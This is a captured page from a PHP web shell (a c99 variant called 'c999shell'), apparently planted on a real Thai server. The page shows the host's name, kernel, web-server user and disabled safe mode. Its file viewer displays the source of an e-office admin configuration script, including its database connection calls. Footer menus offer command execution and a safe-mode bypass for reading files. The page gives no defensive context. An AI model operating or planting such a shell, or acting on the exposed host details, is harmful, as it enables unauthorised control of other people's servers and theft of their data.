Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/person/admin/ drwxr-xr-x |
Viewing file: sysConfig.php (3.85 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <?php include_once "template.php"; include_once "../class/clsSysConfig.php"; $oCe = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oSys = new sysConfig($oCe); $oSys->RSsysConfig(); $oSys->GetRecord(); if($method=="setsysconfig"){ $oSys->RSsysConfig(); $oSys->GetRecord(); $oSys->Edit(); $oSys->OutputThai=$OutputThai; $oSys->InputThai=$InputThai; $oSys->filesizebyte=$filesizebyte; $oSys->collegeName=$collegeName; $oSys->collegeNameArr=$collegeNameArr; $oSys->sendAllDeptDown=$sendAllDeptDown; $oSys->sendAllDeptUp=$sendAllDeptUp; $oSys->sendAllNode=$sendAllNode; $oSys->Save(); ?> <script language="JavaScript"> parent.location.href ="sysConfig.php"; </script> <? } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=tis-620"> <link href="../source/style.css" rel="stylesheet" type="text/css"> </head> <body> <iframe id="config" name="config" src="" style="width:$0px;height:0px;border:0"></iframe> <br> <table width=703 align="center"> <tr><td height="150"> <fieldset> <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ตั้งค่าการใช้งานระบบ</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ตั้งค่าทั่วไป</font></legend> <form name="ff" method="post" ><? //target="config" ?> <table width="90%" border="0" align="center" > <tr><td align="left" width="25%"> <b>ชื่อเต็มหน่วยงานที่ใช้ระบบ ::</b></td><td width="65%"> <textarea name="collegeName" cols="50" rows="3"><? echo $oSys->collegeName; ?></textarea></td></tr> <tr><td> <b>ชื่อย่อหน่วยงานที่ใช้ระบบ ::</b></td><td> <input name="collegeNameArr" type="text" size="30" value="<? echo $oSys->collegeNameArr; ?>"></td></tr> <tr><td> <b>การใช้เลขไทย ::</b></td><td> <input type="checkbox" name="OutputThai" value="Y" <? if($oSys->OutputThai){ echo "checked"; }?>> แสดงผลเป็นเลขไทย</td></tr> <tr><td> </td><td> <input name="InputThai" type="checkbox" value="Y" <? if($oSys->InputThai){ echo "checked"; }?>> บันทึกข้อมูลเป็นเลขไทย</td></tr> <tr><td height="30"> <b>ขนาดแฟ้มที่อัพโหลด ::</b></td><td> <input name="filesizebyte" type="text" value="<? echo $oSys->filesizebyte;?>"> byte (ขนาดแฟ้มที่รับ-ส่งกันภายในวิทยาลัย)<br> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">*** ขนาดที่กำหนดขึ้นอยู่กับแต่ละเครื่องแม่ข่ายที่ใช้งาน</font></td></tr> <tr><td> <b>การส่งหนังสือ ::</b></td><td> <input name="sendAllDeptDown" type="checkbox" value="Y" <? if($oSys->sendAllDeptDown){ echo "checked"; }?>> เจ้าหน้าที่สารบรรณกลางส่งหนังสือให้กับหน่วยงานทุกระดับชั้นในองค์กร</td></tr> <tr><td> </td><td> <input name="sendAllDeptUp" type="checkbox" value="Y" <? if($oSys->sendAllDeptUp){ echo "checked"; }?>> เจ้าหน้าที่สารบรรณย่อยส่งหนังสือให้กับหน่วยงานทุกระดับชั้นในองค์กร</td></tr> <tr><td> <b>การส่งหนังสืออิเล็กทรอนิกส์ ::<br> ระหว่างหน่วยงาน</b></td><td> <input name="sendAllNode" type="checkbox" value="Y" <? if($oSys->sendAllNode){ echo "checked"; }?>> ใช้</td></tr> </table> <input type="hidden" name="method" value="setsysconfig"> <table border="0" align="center" width="100%"><tr><td align="center"> <br><input type="submit" name="setDocNo" value="บันทึก" onClick="return checkFormat();"> <input type="button" name="cancel" value="กลับสู่เมนูหลัก" onClick="location.href = '?mm=1'"> </td> </tr></table> </form> </fieldset> <br> </td> </tr> </table> </body> </html> <script language="javascript"> function checkFormat(){ var agree=confirm("คุณต้องการบันทึกใช่หรือไม่ ?"); if (agree){ return true ; }else{ return false ; } } </script> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0051 ]-- |